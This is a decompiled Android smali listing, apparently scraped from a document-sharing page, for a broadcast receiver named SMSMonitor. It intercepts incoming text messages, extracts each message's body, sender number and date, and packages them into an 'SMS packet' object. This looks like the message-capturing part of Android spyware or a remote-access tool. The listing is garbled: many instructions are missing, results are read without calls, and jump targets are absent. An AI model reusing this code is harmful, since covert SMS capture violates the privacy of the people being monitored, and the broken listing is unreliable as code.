Professional Documents
Culture Documents
class Lmy/app/Library/SMSMonitor$1;
.super Landroid/content/BroadcastReceiver;
.source "SMSMonitor.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lmy/app/Library/SMSMonitor;
.end annotation
# instance fields
.field private final SMS_RECEIVED:Ljava/lang/String;
# direct methods
.method constructor <init>(Lmy/app/Library/SMSMonitor;)V
.locals 1
.parameter
.prologue
.line 1
iput-object p1, p0,
Lmy/app/Library/SMSMonitor$1;->this$0:Lmy/app/Library/SMSMonitor;
.line 57
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
.line 59
const-string v0, "android.provider.Telephony.SMS_RECEIVED"
return-void
.end method
# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 12
.parameter "context"
.parameter "intent"
.prologue
const/4 v11, 0x0
.line 64
invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
move-result-object v9
const-string v10, "android.provider.Telephony.SMS_RECEIVED"
move-result v9
.line 65
const-string v9, "SMSReceived"
.line 67
invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
move-result-object v0
.line 68
.local v0, bundle:Landroid/os/Bundle;
if-eqz v0, :cond_0
.line 69
const-string v9, "pdus"
move-result-object v6
.line 71
.local v6, pdus:[Ljava/lang/Object;
array-length v9, v6
.line 72
.local v5, messages:[Landroid/telephony/SmsMessage;
const/4 v3, 0x0
.line 75
array-length v9, v5
.line 77
aget-object v9, v5, v11
invoke-virtual {v9},
Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
move-result-object v4
.line 78
.local v4, messageBody:Ljava/lang/String;
aget-object v9, v5, v11
move-result-object v7
.line 79
.local v7, phoneNumber:Ljava/lang/String;
aget-object v9, v5, v11
move-result-wide v1
.line 81
.local v1, date:J
iget-object v9, p0,
Lmy/app/Library/SMSMonitor$1;->this$0:Lmy/app/Library/SMSMonitor;
.line 82
new-instance v8, LPacket/ShortSMSPacket;
.line 83
.local v8, sms:LPacket/ShortSMSPacket;
iget-object v9, p0,
Lmy/app/Library/SMSMonitor$1;->this$0:Lmy/app/Library/SMSMonitor;
move-result-object v11
.line 73
.restart local v0 #bundle:Landroid/os/Bundle;
.restart local v3 #i:I
.restart local v5 #messages:[Landroid/telephony/SmsMessage;
.restart local v6 #pdus:[Ljava/lang/Object;
:cond_1
aget-object v9, v6, v3
check-cast v9, [B
invoke-static {v9},
Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
move-result-object v9
.line 72
add-int/lit8 v3, v3, 0x1
goto :goto_0
.line 86
.restart local v1 #date:J
.restart local v4 #messageBody:Ljava/lang/String;
.restart local v7 #phoneNumber:Ljava/lang/String;
:cond_2
iget-object v9, p0,
Lmy/app/Library/SMSMonitor$1;->this$0:Lmy/app/Library/SMSMonitor;
move-result v9
.line 87
const-string v9, "SMSReceived"
.line 89
.restart local v8 #sms:LPacket/ShortSMSPacket;
iget-object v9, p0,
Lmy/app/Library/SMSMonitor$1;->this$0:Lmy/app/Library/SMSMonitor;
move-result-object v11
goto :goto_1
.end method